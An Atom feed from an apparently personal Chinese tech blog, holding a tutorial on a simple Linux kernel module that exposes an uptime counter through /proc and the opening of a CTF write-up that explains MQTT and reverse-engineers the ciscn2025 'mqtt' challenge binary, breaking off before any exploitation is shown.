<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>SpaceDraG0n</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>https://spacedrag0n-1.github.io/</id>
  <link href="https://spacedrag0n-1.github.io/" rel="alternate"/>
  <link href="https://spacedrag0n-1.github.io/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, SpaceDraG0n</rights>
  <subtitle>认真做事，坚持学习</subtitle>
  <title>SpaceDraG0n</title>
  <updated>2025-12-18T05:53:03.000Z</updated>
  <entry>
    <author>
      <name>SpaceDraG0n</name>
    </author>
    <category term="知识分享" scheme="https://spacedrag0n-1.github.io/categories/%E7%9F%A5%E8%AF%86%E5%88%86%E4%BA%AB/"/>
    <category term="Linux Kernel" scheme="https://spacedrag0n-1.github.io/tags/Linux-Kernel/"/>
    <content>
      <![CDATA[<h1 id="Life-Signal-Drive"><a href="#Life-Signal-Drive" class="headerlink" title="Life-Signal-Drive"></a>Life-Signal-Drive</h1><p>项目链接：<a class="link"   href="http://aarch64.hehezhou.cn/linux3/01.html" >生命信号驱动 - QEMU-Friendly Linux内核驱动项目<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p>本次介绍的是关于我学习的第一个内核驱动项目，虽然比较简单，但是可以帮助我很好的理解关于内核初始化，定时器，<code>proc</code> 文件系统和内核&#x2F;用户空间的数据交互 。</p><p>我使用的是 <code>wsl2 + ubuntu22.04</code> 子系统，内核版本是 <code>6.6.87.2-microsoft-standard-WSL2</code> ，一般我们在标准的 <code>Linux</code> 发行版中是直接使用 <code>apt</code>  安装内核头文件的，但是在 <code>WSL2</code> 中，我们无法直接使用这种方式来进行安装， 这种情况我们可以前往 <code>WSL2-Linux-Kernel</code> 项目页面，下载与内核版本对应的内核源码， 解压到 <code>wsl2</code> 内，进入源代码目录，使用 <code>make headers_install</code> 进行头文件安装，由于我们需要编译一个内核模块，我们还需要执行 <code>make modules_prepare</code> 。</p><p>本次项目用到了 <code>timer_list</code> 、<code>proc_dir_entry</code> 、<code>proc_ops</code> 三个关键数据结构：</p><h2 id="timer-list"><a href="#timer-list" class="headerlink" title="timer_list"></a>timer_list</h2><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">struct timer_list &#123;</span><br><span class="line">/*</span><br><span class="line"> * All fields that change during normal runtime grouped to the</span><br><span class="line"> * same cacheline</span><br><span class="line"> */</span><br><span class="line">struct hlist_nodeentry;</span><br><span class="line">unsigned longexpires;</span><br><span class="line">void(*function)(struct timer_list *);</span><br><span class="line">u32flags;</span><br><span class="line"></span><br><span class="line">#ifdef CONFIG_LOCKDEP</span><br><span class="line">struct lockdep_maplockdep_map;</span><br><span class="line">#endif</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure></div><p>这是 <code>Linux</code> 内核用于管理内核定时器（Kernel Timer）的核心结构体 <code>struct timer_list</code> ，它的设计目标是提供一种在未来某个特定时间点执行某个函数的机制 。</p><p>下面介绍一下该结构体的关键成员：</p><p><code>struct hlist_node entry;</code></p><p>这个是一个哈希链表节点，使用 <code>hlist</code> （双向链表，但头节点仅需一个指针），这个是为了节省内存空间。</p><p><code>unsigned long expires</code></p><p>设定定时器的到期时间点，它的单位是 <code>jiffies</code> （内核自启动以来的节拍数），当系统的 <code>jiffies</code> 值大于或等于 <code>expires</code> 时，定时器被视为到期 。</p><p><code>void (*function)(struct timer_list *)</code></p><p>回调函数指针，这是定时器的核心逻辑，当定时器到期的时候，内核会在中断上下文中调用这个函数，它接收 <code>struct timer_list *</code> 作为参数，以便在回调函数内部通过 <code>container_of</code> 获取包含该定时器的宿主结构体。</p><p>初始化：<code>timer_setup()</code> 设置回调函数 。</p><p>激活：<code>mod_timer(timer, jiffies + delay)</code> 设置过期时间并启动 。</p><p>停止：使用 <code>del_timer()</code> 或 <code>del_timer_sync()</code> 来注销定时器 。</p><h2 id="proc-dir-entry"><a href="#proc-dir-entry" class="headerlink" title="proc_dir_entry"></a>proc_dir_entry</h2><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">struct proc_dir_entry &#123;</span><br><span class="line">/*</span><br><span class="line"> * number of callers into module in progress;</span><br><span class="line"> * negative -&gt; it&#x27;s going away RSN</span><br><span class="line"> */</span><br><span class="line">atomic_t in_use;</span><br><span class="line">refcount_t refcnt;</span><br><span class="line">struct list_head pde_openers;/* who did -&gt;open, but not -&gt;release */</span><br><span class="line">/* protects -&gt;pde_openers and all struct pde_opener instances */</span><br><span class="line">spinlock_t pde_unload_lock;</span><br><span class="line">struct completion *pde_unload_completion;</span><br><span class="line">const struct inode_operations *proc_iops;</span><br><span class="line">union &#123;</span><br><span class="line">const struct proc_ops *proc_ops;</span><br><span class="line">const struct file_operations *proc_dir_ops;</span><br><span class="line">&#125;;</span><br><span class="line">const struct dentry_operations *proc_dops;</span><br><span class="line">union &#123;</span><br><span class="line">const struct seq_operations *seq_ops;</span><br><span class="line">int (*single_show)(struct seq_file *, void *);</span><br><span class="line">&#125;;</span><br><span class="line">proc_write_t write;</span><br><span class="line">void *data;</span><br><span class="line">unsigned int state_size;</span><br><span class="line">unsigned int low_ino;</span><br><span class="line">nlink_t nlink;</span><br><span class="line">kuid_t uid;</span><br><span class="line">kgid_t gid;</span><br><span class="line">loff_t size;</span><br><span class="line">struct proc_dir_entry *parent;</span><br><span class="line">struct rb_root subdir;</span><br><span class="line">struct rb_node subdir_node;</span><br><span class="line">char *name;</span><br><span class="line">umode_t mode;</span><br><span class="line">u8 flags;</span><br><span class="line">u8 namelen;</span><br><span class="line">char inline_name[];</span><br><span class="line">&#125; __randomize_layout;</span><br></pre></td></tr></table></figure></div><p><code>proc_dir_entry</code> 是 <code>/proc</code> 文件的入口，作用是创建 <code>/proc/counter</code> 文件 。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">static struct proc_dir_entry *proc_entry;</span><br><span class="line"></span><br><span class="line">proc_entry = proc_create(PROC_NAME, 0444, NULL, &amp;proc_fops);</span><br><span class="line">if (!proc_entry) &#123;</span><br><span class="line">    printk(KERN_ERR &quot;Failed to create /proc/%s\n&quot;, PROC_NAME);</span><br><span class="line">    return -ENOMEM;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h3 id="proc-create"><a href="#proc-create" class="headerlink" title="proc_create()"></a>proc_create()</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"> struct proc_dir_entry *proc_create(const char *name, umode_t mode, struct proc_dir_entry *parent, const struct proc_ops *proc_ops);</span><br><span class="line"> </span><br><span class="line"> proc_create(const char *name, umode_t mode, struct proc_dir_entry *parent,</span><br><span class="line">    const struct proc_ops *proc_ops)</span><br><span class="line">&#123; return NULL; &#125;</span><br></pre></td></tr></table></figure></div><p>可以通过 <code>proc_create</code> 来设置 <code>proc_dir_entry</code> 结构体内部的四个主要成员 ，<code>mode = 0444</code> 代表全局只读，<code>parent = NULL</code> 代表将文件存储在 <code>/proc</code> 根路径下，<code>proc_ops</code> 这里担任的是一个比较重要的作用，随着新版本内核的出现（大概在 <code>v5.6</code> 前后），我们为了减少不必要的开销，不再使用 <code>file_operations</code> ，而是改用了 <code>proc_ops</code> ，因为 <code>file_operations</code> 有很多成员，而 <code>proc_ops</code> 只需要使用其中一部分 。</p><h2 id="proc-ops"><a href="#proc-ops" class="headerlink" title="proc_ops"></a>proc_ops</h2><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">struct proc_ops &#123;</span><br><span class="line">unsigned int proc_flags;</span><br><span class="line">int(*proc_open)(struct inode *, struct file *);</span><br><span class="line">ssize_t(*proc_read)(struct file *, char __user *, size_t, loff_t *);</span><br><span class="line">ssize_t (*proc_read_iter)(struct kiocb *, struct iov_iter *);</span><br><span class="line">ssize_t(*proc_write)(struct file *, const char __user *, size_t, loff_t *);</span><br><span class="line">/* mandatory unless nonseekable_open() or equivalent is used */</span><br><span class="line">loff_t(*proc_lseek)(struct file *, loff_t, int);</span><br><span class="line">int(*proc_release)(struct inode *, struct file *);</span><br><span class="line">__poll_t (*proc_poll)(struct file *, struct poll_table_struct *);</span><br><span class="line">long(*proc_ioctl)(struct file *, unsigned int, unsigned long);</span><br><span class="line">#ifdef CONFIG_COMPAT</span><br><span class="line">long(*proc_compat_ioctl)(struct file *, unsigned int, unsigned long);</span><br><span class="line">#endif</span><br><span class="line">int(*proc_mmap)(struct file *, struct vm_area_struct *);</span><br><span class="line">unsigned long (*proc_get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);</span><br><span class="line">&#125; __randomize_layout;</span><br></pre></td></tr></table></figure></div><p><code>proc_ops</code>  是专门为 <code>/proc</code> 文件系统设计的操作接口结构体 ，包括了一些基本读写操作比如 <code>proc_open</code>、<code>proc_read</code> 或者 <code>proc_write</code> ，还有一些高级功能如 <code>proc_ioctl</code> 提供一个后门，用于执行不适合用读写表达的自定义控制命令 。</p><p>我们可以通过这个结构体来实现 <code>/proc</code> 文件内核与用户空间的数据交互，但是我们还需要使用 <code>copy_to_user</code> 这个关键函数 。</p><h2 id="前置准备"><a href="#前置准备" class="headerlink" title="前置准备"></a>前置准备</h2><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">#include &lt;linux/kernel.h&gt;</span><br><span class="line">#include &lt;linux/module.h&gt;</span><br><span class="line">#include &lt;linux/proc_fs.h&gt;</span><br><span class="line">#include &lt;linux/uaccess.h&gt;</span><br><span class="line">#include &lt;linux/jiffies.h&gt;</span><br><span class="line">#include &lt;linux/timer.h&gt;</span><br><span class="line"></span><br><span class="line">#define PROC_NAME &quot;counter&quot;</span><br><span class="line"></span><br><span class="line">static unsigned long seconds, minutes, hours, days;</span><br><span class="line">static struct timer_list my_timer;</span><br><span class="line">static struct proc_dir_entry *proc_entry;</span><br></pre></td></tr></table></figure></div><p>这里包含了一些需要的头文件，然后定义了我们需要创建的 <code>/proc</code> 文件的名字，以及定义了一些变量还有结构体。</p><h2 id="定时器设定"><a href="#定时器设定" class="headerlink" title="定时器设定"></a>定时器设定</h2><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">static void timer_callback(struct timer_list *t)</span><br><span class="line">&#123;</span><br><span class="line">    seconds++;</span><br><span class="line">    if(seconds==60)&#123;</span><br><span class="line">        minutes++;</span><br><span class="line">        seconds=0;</span><br><span class="line">        if(minutes==60)&#123;</span><br><span class="line">            hours++;</span><br><span class="line">            minutes=0;</span><br><span class="line">            if(hours==24)&#123;</span><br><span class="line">                days++;</span><br><span class="line">                hours=0;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    mod_timer(&amp;my_timer, jiffies + HZ);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>在定时器设定上运用了一个简单的时间算法，用于统计时间数据 ，然后我们设置了每次调用回调函数的时间间隔，时间周期为 <code>1s</code> ，也就是说每隔一秒就会更新时间数据，符合当前项目的主题——生命周期驱动 。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">static ssize_t proc_read(struct file *file, char __user *buf, size_t count, loff_t *ppos)</span><br><span class="line">&#123;</span><br><span class="line">    char str[72];</span><br><span class="line">    int len;</span><br><span class="line">    </span><br><span class="line">    if(*ppos &gt; 0) return 0;</span><br><span class="line"></span><br><span class="line">    len = snprintf(str,sizeof(str),&quot;Life Cycle : %lu days %lu hours %lu minutes %lu seconds...\n&quot;, days, hours, minutes, seconds);</span><br><span class="line">    </span><br><span class="line">    if(copy_to_user(buf, str, len)) return -EFAULT;</span><br><span class="line">    </span><br><span class="line">    *ppos = len;</span><br><span class="line">    return len;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">static const struct proc_ops proc_fops = &#123;</span><br><span class="line">    .proc_read = proc_read,</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure></div><p>设置 <code>proc_ops</code> 内的成员 <code>proc_read</code> ，让我们对这个 <code>/proc</code> 文件有一个读操作，可以把内核空间的数据通过 <code>copy_to_user</code> 发送到用户空间，这里发送的是时间数据 。</p><h2 id="模块初始化"><a href="#模块初始化" class="headerlink" title="模块初始化"></a>模块初始化</h2><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">static int __init heartbeat_init(void)&#123;</span><br><span class="line">    timer_setup(&amp;my_timer, timer_callback, 0);</span><br><span class="line">    mod_timer(&amp;my_timer, jiffies + HZ);</span><br><span class="line"></span><br><span class="line">    proc_entry = proc_create(PROC_NAME, 0444, NULL, &amp;proc_fops);</span><br><span class="line">    if(!proc_entry)&#123;</span><br><span class="line">        printk(KERN_ERR&quot;Failed to create /proc/%s\n&quot;, PROC_NAME);</span><br><span class="line">        return -ENOMEM;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    printk(KERN_INFO&quot;Heartbeat driver loaded!\n&quot;);</span><br><span class="line">    return 0;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">static void __exit heartbeat_exit(void)&#123;</span><br><span class="line">    del_timer(&amp;my_timer);</span><br><span class="line">    remove_proc_entry(PROC_NAME, NULL);</span><br><span class="line">    printk(KERN_INFO&quot;Heartbeat driver unloaded!\n&quot;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">module_init(heartbeat_init);</span><br><span class="line">module_exit(heartbeat_exit);</span><br><span class="line"></span><br><span class="line">MODULE_LICENSE(&quot;GPL&quot;);</span><br><span class="line">MODULE_AUTHOR(&quot;SPACEDRAG0N&quot;);</span><br><span class="line">MODULE_DESCRIPTION(&quot;A simple heartbeat driver&quot;);</span><br></pre></td></tr></table></figure></div><p>初始化模块，注册定时器，绑定回调函数，启动计时器，创建 <code>/proc</code> 文件，同时设置许可证，署名，增添描述 </p><h2 id="Makefile"><a href="#Makefile" class="headerlink" title="Makefile"></a>Makefile</h2><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">obj-m += heartbeat.o</span><br><span class="line"></span><br><span class="line">KDIR := /root/WSL2-Linux-Kernel</span><br><span class="line"></span><br><span class="line">PWD := $(shell pwd)</span><br><span class="line"></span><br><span class="line">all: </span><br><span class="line">make -C $(KDIR) M=$(PWD) modules</span><br><span class="line"></span><br><span class="line">clean:</span><br><span class="line">make -C $(KDIR) M=$(PWD) clean</span><br></pre></td></tr></table></figure></div><p>需要注意的是驱动名必须要与驱动源代码名一致，这里我写了两个命令一个用来编译驱动，一个用来清理驱动，<code>KDIR</code> 需要是我们之前编译内核驱动的目录路径 。</p><p>编译完之后如果没有任何问题我们就可以使用 <code>insmod</code> 来导入模块</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">insmod heartbeat.ko</span><br></pre></td></tr></table></figure></div><p>我们也可以利用 <code>rmmod</code> 来卸载模块</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">rmmod heartbeat.ko</span><br></pre></td></tr></table></figure></div><p>如果成功导入，那么我们就可以通过 <code>cat /proc/counter</code> 来查看我们的时间数据了</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202512181352185.png"                      alt="image-20251218134953479"                ></p>]]>
    </content>
    <id>https://spacedrag0n-1.github.io/posts/15.html</id>
    <link href="https://spacedrag0n-1.github.io/posts/15.html"/>
    <published>2025-12-18T05:51:00.000Z</published>
    <summary>
      <![CDATA[<h1 id="Life-Signal-Drive"><a href="#Life-Signal-Drive" class="headerlink" title="Life-Signal-Drive"></a>Life-Signal-Drive</h1><p>项目链接：<a]]>
    </summary>
    <title>一次简单的内核驱动项目实现 Life-Signal-Drive</title>
    <updated>2025-12-18T05:53:03.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>SpaceDraG0n</name>
    </author>
    <category term="知识分享" scheme="https://spacedrag0n-1.github.io/categories/%E7%9F%A5%E8%AF%86%E5%88%86%E4%BA%AB/"/>
    <category term="mqtt" scheme="https://spacedrag0n-1.github.io/tags/mqtt/"/>
    <content>
      <![CDATA[<h2 id="mqtt-pwn"><a href="#mqtt-pwn" class="headerlink" title="mqtt-pwn"></a>mqtt-pwn</h2><p>MQTT（Message Queuing Telemetry Transport，消息队列遥测传输）协议，凭借其轻量、高效、可靠的特性，已成为<strong>物联网（IoT）领域事实上的标准通信协议</strong>。其应用范围已经渗透到智能家居、工业生产、车联网、智慧城市等各个角落，是支撑海量设备互联互通的关键技术。</p><p>在 <code>mqtt</code> 协议中有两个主要的交互角色：<strong>broker</strong> 、<strong>client</strong> 。</p><ul><li><strong>broker（代理&#x2F;服务器）</strong> ：可以理解为提供 mqtt 服务的代理服务器 ，通俗一点来讲就是”邮局”或者说是”消息中转中心”，每个 client 之间的通信都必须通过 <code>Broker</code> 来进行。</li></ul><p>简单来说，Broker就是一个中间人，负责管理所有客户端的连接，并确保消息能够从一个客户端安全、高效地传递到另一个或多个客户端。</p><ul><li><strong>Client（客户端）</strong> ：Client 是指任何连接到 Broker 的设备或应用程序 ，可以理解为”寄信人”和”收信人”。在物联网场景中，一个 <code>Client</code> 可以是一个温度传感器、一个智能灯泡、一部手机上的App，或者是一个在服务器上运行的数据分析程序。</li></ul><p>一个<code>Client</code>可以扮演两种角色（或者同时扮演两种角色）：</p><p><strong>发布者 (Publisher):</strong></p><ul><li><strong>角色类比：寄信人。</strong></li><li><strong>功能：</strong> 负责产生数据和消息，并将这些指定topic的消息发送（<strong>发布&#x2F;Publish</strong>）到 Broker。</li></ul><p><strong>订阅者 (Subscriber):</strong></p><ul><li><p><strong>角色类比：收信人。</strong></p></li><li><p><strong>功能：</strong> 负责接收它感兴趣的消息。它会提前告诉Broker它对哪个”主题”（Topic）的消息感兴趣（这个行为叫做<strong>订阅&#x2F;Subscribe</strong>），就会接收订阅相同topic的client。</p></li></ul><h2 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h2><p>1.使用安装 Mosquitto MQTT</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo apt update</span><br><span class="line">sudo apt install mosquitto mosquitto-clients</span><br></pre></td></tr></table></figure></div><p>2.启动服务并设置开机自启</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo systemctl enable mosquitto</span><br><span class="line">sudo systemctl start mosquitto</span><br></pre></td></tr></table></figure></div><p>3.测试服务</p><p>窗口1 订阅主题</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mosquitto_sub -h localhost -t test/topic</span><br></pre></td></tr></table></figure></div><p>窗口2 发布消息</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mosquitto_pub -h localhost -t test/topic -m &quot;Hello MQTT&quot;</span><br></pre></td></tr></table></figure></div><p>4.更改配置文件</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">sudo vim /etc/mosquitto/mosquitto.conf</span><br><span class="line">#修改为如下内容</span><br><span class="line">listener 9999 #设置监听端口为 9999</span><br><span class="line">allow_anonymous true  # 可选，允许匿名访问（默认）</span><br><span class="line">sudo systemctl restart mosquitto # 重启服务</span><br></pre></td></tr></table></figure></div><p>5.安装paho-mqtt</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip3 install paho-mqtt</span><br></pre></td></tr></table></figure></div><h2 id="例题：ciscn2025-final-mqtt"><a href="#例题：ciscn2025-final-mqtt" class="headerlink" title="例题：ciscn2025 final mqtt"></a>例题：<strong>ciscn2025 final mqtt</strong></h2><p>check一下：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021020738.png"                      alt="image-20250928113844431"                ></p><p>IDA：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021020202.png"                      alt="image-20250928112848587"                ></p><p>需要读取两个文件的内容，记得创建，要不然程序会miss file退出。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021020004.png"                      alt="image-20250928113941362"                ></p><p><code>MQRRClient_create</code> 函数创造了一个客户端实例，初始化MQTT客户端所需的资源和结构。</p><p><code> MQTTClient_setCallbacks</code> 设置回调函数 ，为客户端事件处理函数，中，<code>sub_1C8C</code> 是 <strong>消息接收回调函数</strong>。<strong>当客户端收到订阅主题的消息时，就会执行这个函数</strong>。<code>qword_5100</code> 是客户端的句柄或者是 ID 。</p><p><code>MQTTClient_subscribe(qword_5100, &quot;diag&quot;, 1LL)</code> 作用是订阅主题，一旦连接成功，客户端立即订阅名为 “diag” 的主题，使用 <strong>QoS (服务质量) 等级 1</strong>。这意味着所有发布到 <code>&quot;diag&quot;</code> 主题的消息都将被客户端接收。</p><p>这里查阅了一下资料，简单的扩展了一下关于 MQTT 的 Qos 等级的相关了解：</p><p>首先 MQTT 的机制提供了三种消息传递等级，用于<strong>满足不同场景</strong>的需求，分别被划分为 QoS 0、QoS 1、QoS 2 。</p><p><strong>QoS 0 - 最多交付一次</strong></p><p>QoS 0 是最低的服务质量等级，消息可能会丢失，但不会重复。消息发送后不需要确认或重传，传输效率高，延迟低。适用场景包括传感器数据、天气更新等<strong>无需保证消息可靠性</strong>的场景，尤其适合带宽有限的网络环境。</p><p><strong>QoS 1 - 至少交付一次</strong></p><p>QoS 1 确保消息至少被传递一次，但可能会重复。通过应答和重传机制，发送方在收到接收方的确认（PUBACK）后才认为消息成功传递。适用于<strong>需要较高可靠性但允许消息重复</strong>的场景，例如远程控制、状态更新等。需要注意的是，重复消息可能导致逻辑问题，因此需要在业务层面进行去重处理。</p><p><strong>QoS 2 - 只交付一次</strong></p><p>QoS 2 是最高的服务质量等级，确保消息既不丢失也不重复。通过四步握手（PUBLISH、PUBREC、PUBREL、PUBCOMP）机制，保证消息的唯一性。适用于<strong>关键任务</strong>场景，例如金融交易、远程医疗等。虽然可靠性最高，但传输开销和延迟也最大，适合带宽充足的网络环境。</p><p>等级由低到高，对于消息的可靠性愈加严苛。</p><p><strong>由于程序订阅了 <code>diag</code> 主题，所以我们可以通过发送该主题的消息，来让程序进行接收显示。</strong></p><h4 id="实验："><a href="#实验：" class="headerlink" title="实验："></a>实验：</h4><p>启动程序：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021020048.png"                      alt="image-20250928125552279"                ></p><p>另外一个终端发送数据：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mosquitto_pub -h localhost -p 9999 -t diag -m &quot;Hello My name is SpaceDraG0n&quot;</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021020094.png"                      alt="image-20250928125626724"                ></p><p>成功接收：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021020684.png"                      alt="image-20250928125659040"                ></p><p>如果我们发送的数据不是 <code>diag</code> 主题的：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021020386.png"                      alt="image-20250928125755854"                ></p><p>程序客户端没有接收到任何消息：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021020195.png"                      alt="image-20250928125947189"                ></p><p>这就是 MQTT 协议的特性 。</p><p>继续往下看：</p><p><code>pthread_create(&amp;newthread, 0LL, sub_1E1A, 0LL)</code> 这里创建了一个线程</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021020325.png"                      alt="image-20250928130048870"                ></p><p>新线程执行了一个函数：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021020988.png"                      alt="image-20250928130315192"                ></p><p>不断打印 MQTT 的 VIN 以及 status ，这里可以不用太在意，没有什么作用。</p><p>我们进入消息接收回调函数 <code>sub_1C8C</code> 看看，像是我们刚刚发送了一个 <code>diag</code> 主题的消息给客户端时，回调函数就会执行这个消息接收回调函数 ，来处理接收的消息。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/posts/202510021020922.png"                      alt="image-20250928143339775"                ></p><p>这里首先就是显示接收了该主题的消息，并将其打印出来</p><p>JSON 用于 JavaScript，把任何 JavaScript 对象变成 JSON，即把这个对象序列化成一个 JSON 格式的字符串，然后通过网络传递给其他计算机 。</p><p>JSON 格式的字符串由双引号 “” 包裹，由键值对组成，键和值之间用 : 分隔，值可以是字符串、数字、布尔、null、数组或对象等类型，例如：<code>{ &quot;name&quot;: &quot;Apifox&quot; }</code> 。</p><div class="code-container" 